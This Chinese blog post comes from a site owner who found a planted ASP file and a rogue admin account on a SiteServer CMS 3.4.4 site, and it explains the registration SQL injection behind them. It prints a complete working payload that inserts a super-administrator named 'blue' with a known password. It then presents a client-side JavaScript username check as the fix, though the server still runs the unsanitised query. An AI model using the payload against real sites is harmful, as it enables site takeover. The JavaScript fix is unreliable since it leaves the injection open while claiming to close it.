SiteServer 3.4.4 逻辑漏洞导致SQL注入及修复方法

今天特别发现SiteServe CMS（ 3.4.4 ）网站根目录多了一个asp文件，我就意识网站可以被挂马了！马上排查，终于在后台发现多了一个blue用户名的超级管理员。我猜想可能是SiteServe CMS系统有漏洞，上网一查，果然把到一堆“SiteServer 3.4.4 逻辑漏洞导致SQL注入”的文章。

---------------------------------------------------------------------------------------------------------------------------------------
SiteServer 3.4.4 逻辑漏洞导致SQL注入具体如下： 

问题出在UserCenter.Pages.DLL中的Register，注册流程逻辑有问题，具体如下：

 

1.程序先把用户名带入数据库中查询，如果用户名没有重复，进入第二步；

 

2.再在远程检测用户名中是否含有非法字符，如果没有，则进入第三步；

 

3.将新注册的用户插入数据库。 

由于在进行第一步的时候，程序没有进行任何处理就带入数据库中查询，那么就可以xxoo了。Orz。。。。

 

用户名填入以下语句，其他地方正常填写。

123');insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

提交注册之后就往库里面插入了一个用户名为：blue 密码为：lanhai 的超级用户。
-------------------------------------------------------------------------------------------------------------------------------------
估计我后台的blue管理员就是这样来的。
我想主要是Js验证太简单了，改一下验证的Js文件就好了。

具体修复方法如下：

打开根目录下的UserCenter\js\signup_check2_data.js文件，把checkUserName函数改成：

checkUserName = function(value)
{
 var r1= new RegExp('[^A-Za-z0-9_-]',''); 

 $("username_msg").style.display = "none";
 $("usernamevalid_msg_succ").style.display = "none";
 $("usernamevalid_msg_error").style.display = "none";
 
 value = $('UserName').value;
 
 if ( !value || value.length == 0 )
 {
  $("username_msg").innerHTML = "用户名不能为空";
  $("username_msg").style.display = "";
  return false;
 }
 
 if ( value.length < 2 )
 {
  $("username_msg").innerHTML = '用户名长度不能小于2个字符';
  $("username_msg").style.display = "";
  return false;
 }
 else if( value.length > 18 )
 {
  $("username_msg").innerHTML = '用户名长度不大于18个字符';
  $("username_msg").style.display = "";
  return false;
 }
 else if( value.search(r1) >= 0)
 {
  $("username_msg").innerHTML = '用户名中含有非法字！';
  $("username_msg").style.display = "";
  return false;
 } 

 return true;
}

这样就可以限制用户名的长度，还有非法的字符！

就这样，这个漏洞就可以修复了。
当然果然你有更好的方法，可以拿出来分享一下！